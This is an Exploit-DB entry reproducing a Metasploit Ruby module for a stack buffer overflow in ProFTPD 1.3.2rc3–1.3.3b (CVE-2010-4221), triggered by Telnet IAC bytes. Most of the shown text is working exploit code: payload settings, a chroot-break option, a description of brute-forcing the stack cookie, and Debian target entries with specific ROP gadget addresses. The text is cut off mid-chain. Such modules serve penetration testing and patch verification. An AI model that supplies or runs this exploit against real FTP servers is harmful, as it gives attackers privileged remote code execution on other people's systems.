Exploit-DB #16851
Description: ProFTPd 1.3.2 rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow (Metasploit)
Type: remote
Platform: linux
Date: 2011-01-09
Author: Metasploit

Exploit:
##
# $Id: proftp_telnet_iac.rb 11525 2011-01-09 23:33:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	#include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in versions of ProFTPD
				server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
				large number of Telnet IAC commands, an attacker can corrupt memory and
				execute arbitrary code.

				The Debian Squeeze version of the exploit uses a little ROP stub to indirectly
				transfer the flow of execution to a pool buffer (the cmd_rec "res" in
				"pr_cmd_read").

				The Ubuntu version uses a full-blow ROP to mmap RWX memory, copy a small stub
				to it, and execute the stub. The stub then copies the remainder of the payload
				in and executes it.

				NOTE: Most Linux distributions either do not ship a vulnerable version of
				ProFTPD, or they ship a version compiled with stack smashing protection.

				Although SSP significantly reduces the probability of a single attempt
				succeeding, it will not prevent exploitation. Since the daemon forks in a
				default configuration, the cookie value will remain the same despite
				some attemtps failing. By making repeated requests, an attacker can eventually
				guess the cookie value and exploit the vulnerability.

				The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness
				and could allow exploitation in semi-reasonable amount of time.
			},
			'Author'         => [ 'jduck' ],
			'Version'        => '$Revision: 11525 $',
			'References'     =>
				[
					['CVE', '2010-4221'],
					['OSVDB', '68985'],
					['BID', '44562']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'PrependChrootBreak' => true
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 4096,
					# NOTE: \xff are avoided here so we can control the number of them being sent.
					'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\xff",
					'DisableNops'	=>  'True',
				},
			'Platform'       => [ 'linux' ],
			'Targets'        =>
			[
				#
				# Automatic targeting via fingerprinting
				#
				[ 'Automatic Targeting', { 'auto' => true }  ],

				#
				# This special one comes first since we dont want its index changing.
				#
				[	'Debug',
					{
						'IACCount' => 8192, # should cause crash writing off end of stack
						'Offset' => 0,
						'Ret' => 0x41414242,
						'Writable' => 0x43434545
					}
				],

				#
				# specific targets
				#

				# NOTE: this minimal rop works most of the time, but it can fail
				# if the proftpd pool memory is in a different order for whatever reason...
				[ 'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',
					{
						'IACCount' => 4096+16,
						'Offset' => 0x102c-4,
						# NOTE: All addresses are from the proftpd binary
						'Ret' => 0x805a547, # pop esi / pop ebp / ret
						'Writable' => 0x80e81a0, # .data
						'RopStack' =>
							[
								# Writable is here
								0xcccccccc, # unused
								0x805a544,  # mov eax,esi / pop ebx / pop esi / pop ebp / ret
								0xcccccccc, # becomes ebx
								0xcccccccc, # becomes esi
								0xcccccccc, # becomes ebp
								# quadruple deref the res pointer :)
								0x8068886,  # mov eax,[eax] / ret
								0x8068886,  # mov eax,[eax] / ret
								0x8068886,  # mov eax,[eax] / ret
								0x8068886,  # mov eax,[eax] / ret
								# skip the pool chunk header
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								0x805bd8e,  # inc eax / adc cl, cl / ret
								# execute the data :)
								0x0805c26c, # jmp eax
							],
					}
				],

				# For the version compiled with symbols :)
				[ 'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)',
					{
						'IACCount' => 4096+16,
						'Offset' => 0x1028-4,
						# NOTE: All addresses are from the proftpd binary
						'Writable' => 0x80ec570, # .data
						'Ret' => 0x80d78c2, # pop esi / pop ebp / ret
						'RopStack' =>
							[
								# Writable is here
								#0x0808162a, # jmp esp (works w/esp fixup)
								0xcccccccc, # unused becomes ebp
								0x80d78c2,  # mov eax,esi / pop esi / pop ebp / ret
								0xcccccccc, # unused becomes esi
								0xcccccccc, # unused becomes ebp
								# quadruple deref the res pointer :)
								0x806a915,  # mov eax,[eax] / pop ebp / ret
								0xcccccccc, # unused becomes ebp
								0x806a915,  # mov eax,[eax] / pop ebp / ret
								0xcccccccc, # unused becomes ebp
								0x806a915,  # mov eax,[eax] / pop ebp / ret
								0xcccccccc, # unused becomes ebp
								0x806a915,  # mov eax,[eax] / pop ebp / ret
								0xcccccccc, # unused becomes ebp
								# skip the pool chun